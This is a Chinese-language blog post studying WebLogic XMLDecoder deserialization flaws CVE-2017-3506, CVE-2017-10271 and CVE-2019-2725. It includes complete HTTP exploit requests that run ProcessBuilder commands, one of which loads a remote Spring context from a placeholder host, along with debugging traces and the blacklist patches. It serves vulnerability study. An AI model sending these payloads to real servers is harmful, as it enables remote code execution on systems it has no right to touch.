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Weblogic XMLDecoder反序列化学习

2019/05/19 Share

前言

鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。

  • CVE-2017-3506
  • CVE-2017-10271
  • CVE-2019-2725

由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。

XMLDecoder

这是一个java中的类,并不是Weblogic特有的,类的位置为java.beans.XMLDecoder

个人理解就是将一个描述java操作的XML文件转换为实际的java操作代码,也类似于一种反序列化的操作,只是载体变成了XML文件。(可能不咋准确

举个栗子

poc.xml

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<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>

然后我们利用XMLDecoder类对其进行反序列化操作

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public class Main {

public static void main(String[] args) {
String path = "src/poc.xml";
try {
XMLDecode_Deserialize(path);
} catch (Exception e) {
e.printStackTrace();
}
}

private static void XMLDecode_Deserialize(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xd = new XMLDecoder(bis);
xd.readObject();
xd.close();
}
}

运行之后可以发现,执行了java.lang.ProcessBuilder("calc").start()的操作。

XML文件里的描述也正是对于执行这样一段代码的描述(或者说序列化),通过XMLDecoder反序列化之后执行了这段代码。

对于具体XMLDecoder的执行流程,能力有限,本菜就稍微跟着看了下,就不班门弄斧了,感兴趣的可以看。

https://xz.aliyun.com/t/5069

CVE-2017-3506

这里测试的Weblogic版本为10.3.6

漏洞触发的POC

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POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 495

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

关于漏洞触发点在https://xz.aliyun.com/t/1848中提到

对于poc中uri中/wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri

动态调试

断点打在weblogic.wsee.workarea WorkContextXmlInputAdapterreadUTF(),可以看到对应调用的堆栈信息

来到weblogic.wsee.jaxws.workcontextprocessRequest

可以看到传入的var1就是POST的XML内容,类型为一个Packet

然后通过

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HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);

获取到了var3并传入到了this.readHeaderOld(var3);方法中

再到readHeaderOld中可以看到var4的值正是之前XML数据中的java标签代码

通过var4生成了var6WorkContextXmlInputAdapter类,最后调用到了其readUTF()方法,从而进行了XMLDecoder.readObject()的反序列化。

漏洞补丁

由于本人也不知道怎么拿到weblogic的补丁,于是只能参考别的师傅文章中给出的补丁

这次的补丁在WorkContextXmlInputAdapter中添加了validate的验证,很明显的黑名单验证

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private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

可以看到限制了Object标签,从而限制通过XML来构造类。也正是因为这样的黑名单限制,所以很快就出了CVE-2017-10271

CVE-2017-10271

这个漏洞存粹就是对上一个漏洞补丁的绕过。直接来看下POC

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POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 708

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

可以看到唯一的变化就是把之前的Object标签变成了void标签,就轻松的绕过了之前的补丁。

至于为什么可以的原因在那篇分析XMLDecoder原理的文章中也提到了 https://xz.aliyun.com/t/5069

这里我也稍微看了下,主要的原因可以通过继承关系看到,VoidElementHandler类继承了ObjectElementsHandler类,并且没有重写addAttribute方法,所有调用时依旧是调用到ObjectElementsHandler中的方法,也就导致了void标签和object的标签都可以生成一个类。

这回的补丁依旧是黑名单的形式,限制了不少的标签

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private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

CVE-2019-2725

这个洞时隔两年之后才被放出来

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POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 728
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class> <string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>http://xxxx</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

可以看到这回是利用class标签构造类,但是由于限制了method从而无法调用函数,因此,找了几个可以通过构造函数进行反序列化的类。网上通用的有

  • FileSystemXmlApplicationContext
  • UnitOfWorkChangeSet

至于漏洞的修复,也是一如既往的黑名单,限制的更为严格了。

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public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

由于能力有限,过多的思考和总结这里也就暂时谈不上,目前只当作学习了。不知这种黑名单的防御方式下一次被绕过会是在什么时候。

References

CATALOG
  1. 1. 前言
  2. 2. XMLDecoder
  3. 3. CVE-2017-3506
    1. 3.1. 动态调试
    2. 3.2. 漏洞补丁
  4. 4. CVE-2017-10271
  5. 5. CVE-2019-2725
  6. 6. References